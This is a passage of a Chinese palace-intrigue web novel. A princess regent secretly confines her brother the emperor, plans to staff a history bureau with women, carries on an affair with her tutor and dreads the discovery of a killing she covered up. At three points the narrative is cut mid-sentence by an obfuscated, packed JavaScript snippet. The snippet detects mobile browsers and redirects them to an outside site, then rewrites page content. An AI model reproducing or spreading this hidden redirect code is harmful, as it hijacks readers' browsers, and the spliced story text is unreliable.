正是这样的纯然透亮,直白热烈,想做什么便做,想要什么便大胆地提,从不遮掩,从不迂回—— 让他日日夜夜,摧心折肝。 有时候他庆幸……还好是他。 还好是他,那么早便遇到了她。 在太液池边,被她从冰冷的水里捞起来,之后,陪着她长大。 他不知道更不敢想,若当初她救起的,是另一个人呢? 她是不是也会对另外的人势在必得,全然依赖。 如若之后她真的登基,坐拥天下,他在她眼里还会这么重要吗? 别人……会像他这么不值钱吗?被她一盏掺了东西的酒递到面前,虽然当时便觉得古怪,但仍一饮而尽。 他这样想着,手上却开始一寸寸地抚摸她衣料的边缘。 “可是……殿下,”他声音低柔,清冽气息拂过她耳畔,“好几天都没召我了。” 骆淮有点诧异。 陆俨亭什么时候这么主动了。 以往两人私会,她要他做什么,他便做什么,从不推拒,虽然总是冷着一张脸。 但他实在周到妥帖至极,便是最初那最失控的一夜,他也仍记得安抚顾惜她。 骆淮于是便大度地不计较了。 可眼下,他虽仍是那副讲学时的清正姿态,但却眼睫低垂,眸光晦暗,她无端听出了几分幽微的怨。 骆淮仰脸看他,兴致大起。 她就说嘛。 他若真觉得无趣,何必次次随叫随到? 骆淮勾起一个恶意的笑容,义正严辞提醒他:“今日午后,我们还要上课呢。” “别上了。”陆俨亭迅速接道,“下次再说。” “……”她还未来得及说什么,他的吻便落了下来,舌尖勾缠着她的,吮吸辗转。 骆淮起初还睁着眼,很快便被他吻得气息凌乱,眸光如水。 嗯…… 她攀着他的肩膀的时候还在迷迷糊糊地想,她主动久了,偶尔让他这么一回,也别有一番风味。 “……别忘了去书肆……给我买书。” 意识没顶的间隙,她还在他耳边呢喃。 陆俨亭动作一顿。 “专心。”他咬了她肩膀一口,力道不轻,“这种时候还能想这个,看来殿下是嫌臣不够努力?” “……” 她下次不说了。 * “专心写。” 骆淮放下手里的奏疏,盯了面前的年轻官员好一会儿后,站起身来,缓缓步下玉阶。 阳春三月,天气回暖,身上新裁的春衫轻薄,动作间,裙裾窸窣作响。 紫宸殿内极静,光洁的金砖地只闻她衣裙拂地的声响,却无一丝笔墨书写的声音。 年轻人手持墨笔,坐在殿中单独为他设立的书案后。 面对自己身前铺着的澄心堂纸,他握笔的手却在微微颤抖,冷汗涔涔,半天都下不了一个字。 直到骆淮来到他的身后。 “祝大人的字明明写得那般好,”她刻意困惑问道,“怎么现在不肯写?” 这人正是御史台七品御史,祝陵。 三日前那封弹劾陆俨亭“携表弟游西市,有失大臣体统”的奏疏,便是出自他手。 祝陵闻言,手抖得更厉害了。他慌忙起身,想要行礼,却被骆淮轻轻按住了肩膀。 “坐着便是。” 她从袖中取出两样东西在他面前出示。 一样……是他那日递上的奏疏,他看到以后眉头都紧了紧。 另一样,却是一本薄薄的册子,靛蓝封皮,封面上的名字叫……《玉楼记》? 祝陵怔了怔,不明所以。 这看上去像是市井流传的话本子,作者署名叫“空山灵雨”,一看就不是什么正经作者。 可长公主殿下给他看这个干什么? 他心中飞快盘算。 长宁长公主监国这些时日,处置政务井井有条,批阅奏疏切中要害,显见是个明白人,朝中不少原本持观望态度的人,都暗自松了口气。 但他总觉得是有人在背后指点,毕竟她还这般年轻,又没什么理政经验…… 就像她今日下朝后突然出声将他留下,先是让他“随便写几个字看看”,现在又突然拿出一本话本。 行事之多变,令他摸不着头脑。 不对! 一道雪亮的光划过他的脑海,祝陵突然想起,陛下曾让太子少傅陆俨亭教导长公主读书。 他浑身的汗毛都竖起来了,突然明白了长公主此举目的。 糟了! 那日他在西市,偶遇陆俨亭带着个灰扑扑的小孩在闲逛,每走到一个铺子,第一个举动就是一言不发地掏钱。 当时他心中狂喜,只觉天赐良机。 他一直在御史台籍籍无名,微薄的俸禄勉强支撑一家老小,想要出人头地,难如登天。 而周朝士大夫素来崇尚不畏强权的风骨做派,面对权势日渐煊赫的陆俨亭,他若能以此为由弹劾其骄奢淫逸,不务正业——即使没能成功,传扬出去也能声名鹊起。 可当时他没算到陛下竟一病那么久,也没算到最后会是陛下之妹,长公主监国。 陛下宽和,一封奏疏不算什么。 可长公主的脾性,现在看来…… 她若真是陆俨亭的学生,又怎会坐视自己的老师被弹劾? 他无暇再细想。 因为骆淮突然伸手,从他手中抽走了那支墨笔,随手往笔洗里一丢。 墨笔没入清水,荡开一团乌色,映衬得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347571|199544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祝陵的脸色更加惨败。 骆淮没关注他的表情,自己自顾自翻开手里那本《玉楼记》,随手指着其中一页,与他那封奏疏并排放在一起。 “祝大人是否注意过自己写字的习惯?”她温和地弯起嘴唇,“这本话本里……虽然刻意改换了写法,但起笔的顿挫,转折的力道,以及收尾的余韵,都与你递上来的那封奏疏,如出一辙。” 祝陵张了张嘴,只觉五雷轰顶。 怎么……怎么会? 他的奏疏,怎么会和一本民间话本上的字迹类似? 除非—— 看着祝陵瞬间血色尽失的脸。 骆淮了然地颔首。 “原来如此啊。” 她抬起眼,“本宫猜,这两样……都不是你亲笔所书吧?” “本宫察觉之后,便调阅了你近三年的奏疏存档。”她继续道,“对比之下发现,约莫两年前开始,奏疏字迹的细微处已有不同。笔画更稳,架构更工——” “嗯……条理也更清晰些。” 她这两年练的字并不是白练的。 旁的不敢说,于辨识笔迹一道竟颇有天赋。 稍稍仔细一些,便能看出话本子和那封弹劾奏疏上的字迹,出自同一人之手。虽然换了种写法,但大致笔锋和走势是不变的。 于是她按照自己的心情挑了个日子,把这个叫祝陵的御史单独留了下来。 结果意外又不意外。 不意外的是,还真的是同一个人。 意外的是,这两样都是代笔。 这些天,她还抽空细细研读了……这位空山灵雨的其他大作。 陆俨亭果真说到做到,没到一整个昼日,就给她送来十几本。 虽然他的脸色……看起来不太好看。 他一定自己偷偷看过了! 骆淮笃定地想。 还在她身上付诸实践了。 说实话,她回味了一番,觉得真的写得挺精彩的。 刚在心里做出如此评价,面前的祝陵就一副支撑不住的样子,扑通跪倒在地。 “殿下……殿下明鉴!”他语无伦次声音颤抖,“臣、臣罪该万死!臣这两年……手患有疾,不能持久握笔,稍久则颤抖疼痛……白日里有专门的书吏负责誊抄文书,可上达天听的奏疏,书吏不能代劳……臣、臣只好让夫人代笔……” 他结结巴巴,几乎要哭出来,“臣自知欺君罔上,罪不可恕!求殿下……求殿下开恩!” 殿内安静无声,许久以后,才有少女的声音轻轻响起。 “是这样啊。” 祝陵犹犹豫豫地抬起头,泪眼模糊中看见骆淮竟朝他微笑起来。 “祝大人,说起来你可能不信。” 她娓娓道来,“但我叫你来,其实真的只是想认识一下你夫人。” 祝陵呆住了。 认识……他夫人? 他脑子里一片空白。 但骆淮已经转身,缓步走回玉阶之上。 “她写的故事……”骆淮煞有介事道,“真的很精彩。” 祝陵先是震惊,继而大喜。 “殿下所言果真?臣替内子先谢过——” 急促的脚步声翩跹而来,打断了他的剖白。 “殿下!殿下!” 屠苏匆匆行至,顾不得有外人在此,直接近前,压低声音在骆淮耳边说了几句。 骆淮的笑容僵在脸上,几个早就被她抛至脑后的名字在脑海里终于交替浮现。 容妃出事了? 监国这么久,她都忘了,这个皇宫真正的主人,还不是她。 她不仅要处理前朝政事,还要帮她皇兄处理后宫之事呢! 12. 父皇 拥月阁内早已屏退了宫人。 骆淮缓缓步入。 此间骆淮并未来过,她好奇转了转,入目一片富丽堂皇,描金屏风、白玉摆件、苏绣帷幔……应有尽有。 坐在其中的女子身着烟霞色的百蝶穿花云缎裙,面上覆着一方锦帕,发间的赤金步摇,随着抽噎轻轻颤动。 纤细白皙脖颈上,浅淡的红痕若隐若现。 那条应是罪魁祸首的白绫,此刻正被她攥在手里,由于脸上的帕子很快被眼泪浸没了,她干脆用白绫抹着眼泪。 骆淮今日本就心烦,朝上政事扎堆,互市细则、茶马司人选、以及她想推行的其他新政……桩桩件件都需她斟酌定夺,此刻又见容妃哭哭啼啼的,居然还扬言要自尽,只觉头大如斗。 “娘娘,怎么啦?” 她在容妃身边坐下,用自己最柔和的语气问。 容妃闻言,抽噎声顿了顿,白绫后露出一双红肿的杏眼。 “长公主殿下……内务府,总是克扣臣妾的用度……臣妾一时激愤,就……” 骆淮淡淡看了侍立在侧的屠苏一眼。 屠苏会意,也迅速望了眼容妃身边那个同样垂首侍立的小宫女。 小宫女面色涨红,刚要出言解释,被屠苏抬手制止。 屠苏随即弯下腰向面前两位主子福了一福,拉着她转身退了出去。 殿门轻掩,室内只剩二人。 容妃终于肯放下遮面的东西,梨花带雨地望着骆淮。 她生得娇媚,此刻泪眼朦胧,更添几分楚楚可怜:“殿下……” “如今宫里头……都传遍了。说陛下是在臣妾宫中留宿后,才突发急症……” 她说到此处,声音越来越小,但想到自己这月余的处境,最末的语调又陡然扬起,气恼道:“臣妾真的……活不下去了!” “谁说的?” 骆淮打断她。 刚才话语里的柔和荡然无存,音调变得像冰棱般,砸在人心头溅起寒意,把容妃吓得一哆嗦。 罢了,她随口说说而已。 其实没有人传。 长公主监国后第一道懿旨,便是严令宫中不得议论陛下病情,违者重惩,这一个月来,皇城安静得像座坟墓,连往日最爱嚼舌根的嬷嬷太监,都噤若寒蝉。 可她就是不甘心。 那夜之后,她宫里伺候的宫人全被看押起来,又因唯恐是饮食有异,她的小厨房也被撤了,每日膳食由尚食局统一调配。 虽事后查明膳食、熏香皆无问题,她与宫人皆属清白,小厨房之后也重新回来了,可…… 终究丢人现眼! 可陛下迟迟不醒,太医院含糊其辞,宫里头个个都是看风向的老手,如今都忙着巴结长公主。 太后是长公主养母,本就偏爱她,可皇后呢,遇事居然也只知和稀泥。 眼看着长公主不仅把持前朝,连六宫用度也变得需她过目,皇后却当没事人一样。 每日妃嫔例行请安时,也只带着她们闲话家常,赏花品茶,对眼前局面闭口不提。 她怕是连陛下如今是生是死都不知道吧? 也配当一国之母? 容妃越想越委屈,忍不住脱口而出:“殿下……能不能让臣妾见见陛下?” 骆淮转头古怪地看了她一眼。 “……臣妾的意思是,可否允许六宫嫔妃轮流至陛下面前侍疾,端茶送药,有人同陛下说说话,或许陛下能听得……” “侍疾?” 骆淮问。 容妃猛点头。 “你这个想法,”骆淮沉吟,“孤觉得——” 女子满怀希望地抬起眼。 她已经整整一个月没见到陛下了! 这在从前简直是不可想象的事。 她一入宫便得盛宠,风头最盛时,连皇后都要让她三分。 如今却连陛下的面都见不上。 “——不可以。” 骆淮的后半句话落了下来,容妃僵在原地。 “……”看着骆淮眼里那点似笑非笑的意味,容妃疑心长公主根本就是在逗她玩。 她暗自咬牙,心底那点隐约的猜测又浮了上来。 这些日子,与宫里为数不多的几位妃嫔私下碰面时,虽不敢明说,但彼此眼神中都有心照不宣的疑虑。 都说,陛下的病蹊跷。 又巧合。 否则,为何连她们这些妃嫔都不允探视? “可、可陛下昏迷着,我们这些妃嫔心里实在惶恐。” 容妃绞着手中的白绫,“长公主您监国积威日盛,宫里突然就没人需要我们了。从前每日要费尽心思琢磨陛下口味,钻研妆容衣饰,如今突然什么都不用做了,臣妾们反倒……反倒不知该如何是好了。” 她说了一长串的话,但对面少女的面色毫无波动。 “不知如何是好?” 骆淮若有所思地重复了一句,然后从袖中掏出一本小书搁在身边案几上。 容妃莫名其妙,看看话本,又看看她。 “看点话本解解闷吧。”骆淮面无表情。 女子眨了眨眼,迟疑着伸手拿起那本《玉楼记》。 翻了两页,她讷讷道:“这本,臣妾已经看过好几遍了。” “……”骆淮说,“那便再看一遍。” * 走出拥月阁,春日的阳光有些刺眼。 骆淮眯了眯眼,心里却在想容妃说的“积威日盛”。 她叹了口气。 不明真相的外人看起来似乎的确如此。 她又想起几日前的朝会,她重提有关清丈田亩和赋税之事。这是骆灵均登基后便想推行却因阻力太大一直搁置的政令,她如今监国,便想借此机会重启。 刚开口询问诸臣有无别意见,礼部尚书张永怀便躬身出列。 老臣年近六旬,须发花白,手持玉笏,向上方抱拳一揖,姿态恭顺至极。 可说的话却与刚才的议题毫无关系。 “殿下所提清丈田亩,实乃利国利民之策,老臣深以为然。”他声音洪亮,“然此乃国之重事,牵一发而动全身,需从长计议,缓缓图之。眼下倒是有一件要紧事,需要殿下先行计较。” 骆淮于是问:“何事?” 张永怀深吸一口气,朗声道:“臣等联名请奏——该修先帝实录了。” 朝堂之上一静。 “新君登基已满一年,史书乃国之大典,先帝功过当早日定论,以正视听。”张永怀声音不急不缓,“臣恳请殿下挑选机要之臣,择日开馆修史。” 他说完直起身子,立在大殿之上,身形毫不动摇。 骆淮视线往下一扫,丹陛下黑压压的群臣朝张永怀看去,神色各异。 很快,又有几名官员出列附和。 “……张尚书所言极是。国不可无史,先帝在位二十载,功过当早日厘清。” “修史乃千秋大事,拖延不得。” 同时也有人表示反对—— “陛下尚未病愈,长公主乃代兄监国。修史之事关乎先帝身后名,当等待陛下苏醒后圣裁,方合礼制。” 另一侧,熟悉的清冷声音响起,是陆俨亭出列答道。 人人皆知他是永初帝心腹,此言合情合理。很快,不少官员也点头称是。 更多的人依旧沉默。 骆淮明白他们的沉默。 修先帝实录? 今年永初二年,她的父皇景和帝已经驾崩一年有余,但史书一直没来得及修。 原因也很好猜。 这是个烫手山芋。 众所周知景和帝即位二十年,前十年雄才大略,之后却转了性子,阴戾寡恩,一批又一批大臣遭了殃,连史官都没放过。 是以起居注时断时续,朝议记录也残缺不全。 怎么修?修成什么样?怎样对他盖棺定论?谁来担这个责任? 骆淮感到麻烦般地挑起眉毛,这个节骨眼上提修史书,是打算让她难堪么。 她也知道,当初群臣推举她监国,是情势所迫。如今一个月过去,有人回过味来了,意识到权柄移交容易,拿回来却难。 加之她今日提的事动了太多人的利益。 她目光落在殿中诸臣中。 陆俨亭暂且不论。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348867|199544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其余几位尚书、御史、侍郎……乃至那些站在后排、品阶不高的官员,背后或多或少都牵扯着田地、赋税。 十年寒窗,世家清流,谁甘心听一个从未理政经验、年仅十九岁的女子的命令? 她就该像尊菩萨,高高供在庙堂之上,对他们的谏言只需点头称是,而非有自己的主张。 即使她促成了与北戎的互市,设立了茶马司,一月有余便令国库增收。 他们此刻提出修史,同意修,史书怎么修是难题;不同意修,便是不孝不敬,有违礼法。 笃定她没什么亲信臣子,找不到人担此重任,最后只能低头认输,暂时搁置那些触动利益的政令。 只有陆俨亭一个,还是不够啊,骆淮想。 于是群臣便看见监国位上的长公主弯了弯眼睛,温声道:“修史乃国之大事,总修官人选更需慎重。容本宫斟酌几日,再行定夺。” 张永怀也不再坚持,只洒然一笑:“是,殿下所言极是。” 说罢,退回班列。 骆淮斟酌了几天…… 今日便是结果了。 她把那个叫祝陵的御史叫过来,本是想从他身上寻个突破口——抓住他笔迹的把柄,逼问出他背后之人的线索,再顺势招揽。 却没想到原来出自他夫人之手。 但对她而言,或许也并非不利,甚至……有利。 * 骆淮回到紫宸殿,穿过重重宫门,绕过回廊,推开西侧一扇不起眼的偏殿木门。 殿内陈设简单,只一床一榻一桌一椅。 男子倚靠在榻上,面色苍白,唇无血色。听见开门声,他眼皮动了动,缓缓睁开。 看见来人后,眼底微弱的亮光瞬时熄灭,他拉直了唇线。 “皇兄。” 骆淮将手中提着的食盒搁在桌上,自己也在榻边椅上随意坐下。 “怎么?”骆灵均看着她的动作,冷嘲道,“今日居然有闲心,亲自给朕送饭?” 骆淮一愣:“若皇兄喜欢,臣妹日后天天来送。” 骆灵均:“……” 这是重点吗,骆灵均无力地闭上眼。 他从漫长的沉睡中苏醒过来,紧接着就发现自己并不在寝殿的龙榻上,而是在这处偏僻狭小的偏殿中。 殿外有侍卫把守,殿内只有一个哑巴老太监伺候,每日会有人送饭食过来。 他居然被自己的亲妹妹软禁起来了——在骆淮第一次来看他的时候,他便绝望地意识到了这一点。 他质问、怒斥、哀求,这素来娇俏的妹妹只平淡地扫了他一眼:“皇兄好好养病,朝中诸事,自有臣妹代为操持。” 代为操持…… 他当日出事,也是因为她吧! 他没问出口,问了也白问。 就算不是她亲手所为,最大的受益者也是她。 如今,外头过去了多久? 他这个沉不住气的妹妹,每每来看,都要将“替兄监国”的事挂在嘴边,甚至有时还要与他“商议”朝政。 可悲的是他居然听着听着,有时还觉得她说的挺有道理。 是陆俨亭教她的? 啧。 反正一时半会出不去,骆灵均决定能屈能伸。 他默默打开食盒,自己默默把里面的四菜一汤端出来——骆淮怎么可能动手帮他布菜——开始默默用饭。 食不言,寝不语。他希望骆淮此刻能安静些,别扰他用饭,让他没胃口。 可他偏偏没能如愿。 “皇兄,我准备让人修父皇的实录了。” 妹妹幽幽的话语在他耳边炸响。 “咳——!” 骆灵均一口菜呛在喉间,剧烈咳嗽起来,手中的玉箸吓得当啷一声掉在桌上。 “修史?” “是啊。”骆淮认真地点头,对他这副震撼的模样表达了不屑,“我知道父皇晚年把朝野上下吓得不轻。可那是我们的父亲啊,皇兄你怎么也这副样子?” “父亲?” 骆灵均缓过气来,扯了扯唇角,露出一个讥诮的笑容。 “你也好意思这么叫他。” 13. 血色记忆 骆淮从偏殿慢慢走出来,眉目带了点倦色。 午后暖阳染透宫墙,她安静地走过悠长的廊道,有几朵粉色的春花落在她的肩头,又在她动作之间,簌簌落地。 转过回廊,她看见了神情宁静的陆俨亭,以及他身后半步站着的宗姚。 陆俨亭身着常服,见到她的时候殊无异色,只垂首施礼。 “殿下。” 声音平稳轻柔一如既往。 骆淮眨了眨眼睛,他下了朝没有走,等她见了祝陵,又去安慰了容妃,又见了骆灵均……前前后后近两个小时,他还是一直等在这里。 她脸上重新露出笑容,走上前,理所当然地牵住他的袖子。 陆俨亭侧头看了眼宗姚,年轻的侍卫低着头,眼观鼻鼻观心,仿佛什么也没看见,身形笔直修长,像一柄从未出鞘过的剑。 他抬手,做了个退下的手势。 但宗姚没动。 陆俨亭挑起眉毛,正欲开口,便看到骆淮扬起下巴对宗姚轻轻点了点,紧接着那道玄色的身影便听话地转身退入阴影里。 “……” 陆俨亭看着宗姚消失的方向沉默了一霎。 虽然人是他叮嘱跟着骆淮的,他也很欣慰她身边能有这样一个忠诚的侍卫,但今日看着这番情形,陆俨亭却突然觉得有些刺眼。 他不过是去了岭南一段时间…… 宗姚是他亲自挑中的人。 当年还是个小侍卫时,宗姚因琐事被同僚欺侮排挤,陆俨亭偶然撞见,物伤其类,随口提点了几句,此后他便对他感恩戴德,不过几年,凭借身手已经做到了殿前司侍卫之一。 他接到让他去南疆平叛的谕令后,因不放心骆淮没了他恐会出事,特意叮嘱宗姚:“殿下若有事不便明着办,你可暗中相助。” 离京以后,他又觉得自己许是操心太过了。金枝玉叶的公主,她想做什么,自然有宫人前呼后拥,只要不是杀人放火的大事,何需动用暗卫? 不过这三个月来,她倒是用这小子用得相当顺手。 陆俨亭转回头,却注意到少女眼眶居然有微微的红。 “陛下是又说什么了么?”他抬手自然地揽过她,“我们好心替他送饭,他倒好,丝毫不领情。” 骆淮想起刚才骆灵均的反应,迟缓地摇摇头。 为了任何人的名誉而言,他都必须承认——她是他的亲生妹妹,同父同母,血脉相连。 也正因如此……修史这件事,即使没有朝堂上的那么一出,她也非做不可。 斯人已逝,青史如何着墨,终究都是活着的人说了算。 见她避而不答,眉目深锁,陆俨亭蹙了蹙眉。 “是我劝殿下这样做的。”他迅速说,“张院正隐晦来报的时候,是我力阻殿下把陛下苏醒的消息昭告天下。这处偏殿,也是我亲自挑选的。” “万般皆是臣所为,殿下不必心有负担。”他伸手,将她冰凉的手拢在手心里,语调轻描淡写,“他日若真有人追查,殿下不过是受心机叵测的臣子蛊惑,一时糊涂。” 他离她很近,身上清冽的气息围绕在她身周,却不再像往常那样,每次都成功安抚了她心中狂躁的怨恨。 骆淮抬起了头,他仍然拥着她,在她耳边絮絮说着什么。 但意识滞涩,她再听不进去,满脑子都只有一个念头: 去年末的那个晚上,她明明让宗姚把尸体埋得好好的。 骆灵均又是怎么知道的? 除了他,还有谁知道? 心脏像在胸腔里打鼓,几乎要跳脱出肉.体凡胎。指尖被陆俨亭温柔地握着,后背却渗出薄薄的冷汗。 她是不是……或许该为那人上一炷香?都已经那么久了,魂魄也该往生了吧?现在烧香,真的还有用吗? 不过是求自己一个心安罢了。 但这就够了不是吗? 她唇边浮起疯狂的笑意,旁人如何,与她何干?她只需哄好自己,让自己少些负罪感,仅此而已。 但单单想到那个夜晚,想到月光下血肉模糊的场景,她就觉得…… “呕……!” 骆淮猛地推开陆俨亭,俯下身,剧烈的恶心翻滚在喉头,眼泪被刺激得差点掉下来。 大脑奇异地将此刻的狼狈与方才见到兄长时的画面联系在一起,骆淮不由自主地想,她故意在他用饭时吓他,把他呛得咳嗽不止,现在好了,自己也这般模样。 “殿下?殿下?” 头顶上方传来焦急的声音。 陆俨亭脸色变了,他扶住她摇摇欲坠的身子,揽过她的肩膀将她打横抱起来,疾步走进最近的一间宫室,将她小心翼翼放在临窗的软榻上。 直到躺在柔软的锦垫上,骆淮才回过神,有气无力地推了推他的胸膛。 “……你做什么?”她有些哭笑不得,“那些宫人可能都看见了。” 陆俨亭从怀中取出一方锦帕,慢条斯理地擦拭着她眼角的泪痕:“看见了又如何?” “会怀疑我们的关系啊。”骆淮一边插科打诨,一边平复着呼吸,“怀疑你这位前途无量的少傅大人,未来的阁老,不知廉耻,见陛下迟迟不醒,竟意图攀附侍奉监国公主,诸如此类……” 说着说着却看见陆俨亭唇角略微弯起,看样子对这个评价相当满意。 骆淮仔细想了想,也觉得那个场景应该挺有意思。 清冷端方少年成名的陆大人,被认为是攀龙附凤之辈。 可惜啊。 他的声名对她暂时还有用,她没打算这么早将他们之间的事摆到明面上。 她靠进他怀里,闻着他衣襟上熟悉的熏香,却突然感觉他的手不对劲。 他的手掌正小心翼翼地……覆在她小腹上。 耳边是他低沉沉痛的声音: “臣去请太医过来。” 就这点小事,看什么太医? 骆淮想都没想:“不用。” “拖下去亦非良策。”他打断了她,薄唇抿成一条直线,耳根泛红,素来清淡的神色中竟然透出几分愧色,“那味药……臣的确一直在吃,只是凡事都有万一……” 骆淮疑惑地仰起头,与他大眼瞪小眼了许久。 直到听到他下一句话,她情不自禁地张大了嘴。 “殿下的癸水……上次是什么时候来的?” “我……” 骆淮终于明白过来,两颊一下子飞起两片红云,整个人像被扔进沸水里一样,从头到脚都烫得厉害。 他居然以为她刚才干呕……是…… “……我没有!”骆淮绷着脸,从榻上一跃而起,反客为主把他狠狠按倒,“你想什么呢!” 陆俨亭不妨她突然发力,被她推得仰面倒下,她如瀑的青丝散落下来,好几缕拂过他的面颊。 她跨坐在他腰上,虽半羞半恼,但仍居高临下,狠狠瞪着他,“你想得倒美!” “你没有来?”他脑子里还萦绕着她刚才的话,舌尖辗转了几番,眸色里的懊悔渐渐退去,另一种深沉难言的神色翻涌上来。 “……是我不好。” 骆淮眯起眼睛打量了他片刻。 他仍是一副决心已下的样子。 “噗……”骆淮终于忍不住笑出来。 这么一番打岔,刚才那些阴郁的血色的记忆,居然散去了大半。 她从他身上翻身下来,以手支额,往旁边挪了挪,离他远了些,“你别多想。我没有怀孕。” 她还非常忙。朝局未稳,修史在即,她至少要解决好这些燃眉之急,才有心思想别的。 半晌。 身侧的人讷讷“啊”了一声。 她没回头,手却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17355496|199544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悄悄伸了过去,轻轻拍了拍他。旋即他重新扣住她的手指,令她与他十指相扣。 他的热度自掌心传递到她的心里,骆淮深吸了口气,对着正前方的字画说:“我跟皇兄说了,修史的事,我会去做的。” 陆俨亭神情微微一动,“是因为张尚书那番话?” “是啊。都说到这份上了,也拖了这么些天,总该给他们一份交代。”她恢复了平日里明媚开朗的模样,转过脸,看向他时眼睛弯弯。 陆俨亭一看她这表情就知道她想让自己做什么,没等她开口便点了点头:“好。” 骆淮:? “你同意什么?我还没说呢。” “殿下是想让我当这个总修官吧。”他垂着眼睛,“这些天我也想过了。朝内的传言事实上夸大其词了些,真要实践起来也并非千难万难。起居注总有备份,密档亦可调阅,昔年一些重要政令,我当时恰好在翰林院任编修,真要细想,也能勉强回忆起来……” “我没打算让你当。”骆淮说。 陆俨亭的笑容渐渐消失。 刚才看见宗姚之后的心里的那点微妙的别扭,又放大了几分。 他本以为两人想到了一处。对于她要施行的新政,朝堂上那些反对的声音并非铁板一块。若他出任总修官,以陆家之名和他在朝中的人脉声望,算是有几分薄面,后续遴选其余的纂修、编撰、誊抄,也方便些。 更不必说,此举还能向全天下昭示他与她的密切关联,简直是一石二鸟一举两得。他都觉得张永怀提这件事是故意想帮他了。 她为什么不让他做?难道有其他人选? 陆俨亭怀疑地看着她,又想起了今日下朝后,她特意将那个叫祝陵的御史留下的事。 “你不会……”他迟疑着开口,“祝陵?” 以他的眼光来看,这人才干尚可,但并没有什么编书的经验,也非资质绝佳,比起他来更是有之不如。 “不是他。”骆淮慢吞吞地说,“是他的妻子。” 总修官的人选,她不会在现有的任何朝臣中挑选。 他们既然想用这件事逼她低头,她便偏偏要另起炉灶。 陆俨亭听她细细说来她的计较,起初还有些疑虑,在听到祝陵的“代笔”之事后,表情更加微妙。 但听完前因后果后,他眸中浮起了然之色。 “我明白了,殿下是想启用女官?” 他缓缓颔首,的确是出色的破局想法,不选任何一方旧有派系,而是培植一股完全忠于她的新枝,用以抗衡朝堂上盘根错节的文官集团,“一些女子虽居于深闺,但才华未必逊于男子。” 但此番想法仍算得兵行险招,想必会收到不少反对。 “此事不急一时。”陆俨亭思忖了会,“届时我会先行放出点风声,率先力排众议支持,待朝中渐渐接受,再由殿下亲自下旨。不过,殿下是否见过祝夫人本人,考较过她的学识是否能担此重任?还有编修团队,除她一人以外,或许还需……” 骆淮又一次反对了他。 “我不要你力排众议支持我。”她随意地说,“你应该……旗帜鲜明地反对我。” 陆俨亭:“?” “女官的人选,我会自己一个个来定。” “的确不急一时。”她想到了什么,安静地望向窗外渐渐深邃的暮色,“之后,我会去云浮寺小住些时日,到时候,就让她们来那里见我好了。” * 三日后,云浮寺。 山寺藏于深林,石阶蜿蜒,林木苍翠。 再次踏入这片竹林,骆淮觉得它和十五岁记忆中的样子并无什么太大区别。 她望向视野尽头的那处禅院,又低头看了看自己金线织成的裙裾花边,以及绣鞋尖上镶嵌的璀璨明珠。 那具尸体……是不是就在自己的脚下呢? 14. 争风吃醋 骆淮转过头,眼角余光瞟到身后玄色的身影,淡淡道:“上前罢。” 宗姚从竹影中无声地走出来,声音压得很低:“属下在,殿下请吩咐。” 骆淮尽量让自己保持声线的平稳,问道:“你当初埋那个人的时候,可曾留意过……是否有旁人跟了过来?” 宗姚沉默片刻,肃然道:“殿下在说什么?属下不知。” 骆淮:“……” 她倒忘了。 与宗姚说话实在是件轻松又费劲的事。 这人脑袋是个一根筋,谁吩咐什么,他都一字不差地记下,然后执行。他从不多问,也不质疑,更不会领会所谓“言外之音”。 譬如去年末尾的冬日,也是在这片竹林,她惊魂未定地看着倒在血泊里的那人许久后,叫来宗姚让他处理好,之后又再三强调: “从此这件事就当没发生过。” 宗姚于是应下:“是。” 她也好奇自己竟然能如此这般毫不犹豫地亲手杀人,又冷静地吩咐善后,也不担心宗姚,这个在出行当天才增补上随行队伍的殿前司侍卫,会转头向皇帝兄长或母后告密。 但随后她便为自己找了许多极好的理由。 反正她是出于自保。 反正那柄刺向心口的匕首,是陆俨亭送她防身的。 反正宗姚是他留下来保护她的人。 那么只要陆俨亭没有死在南疆的叛军之下,他无论如何都必须回来替她兜底。 她希望他福大命大,平平安安,将自己的命放在第一,平叛则是其次——她在寄去的信里也是这样谆谆叮嘱他的。 但他真的回来了……她却对这件事只字不提。 没什么好说的,人都死了。知道的人越少越好。 不过倒因着有了共同的秘密,她与宗姚却是日渐熟稔起来。 通过他在宫中那些不为人知的关节,她探听出许多关于皇兄的事。 那些在御前当值的细枝末节,陛下今日召见了谁,批了什么折子,晚膳用了什么,夜里宿在何处…… 只需一点微不足道的馈赠,一张春风和煦的笑面,小太监小宫女们便会朝她兴高采烈地打开话匣子。 小人物知道的东西,有时不比那些衣着锦绣的官员少。 可即便让他做了这么多事,宗姚依然是宗姚。 一个有问必答,却只懂字面意思的宗姚。 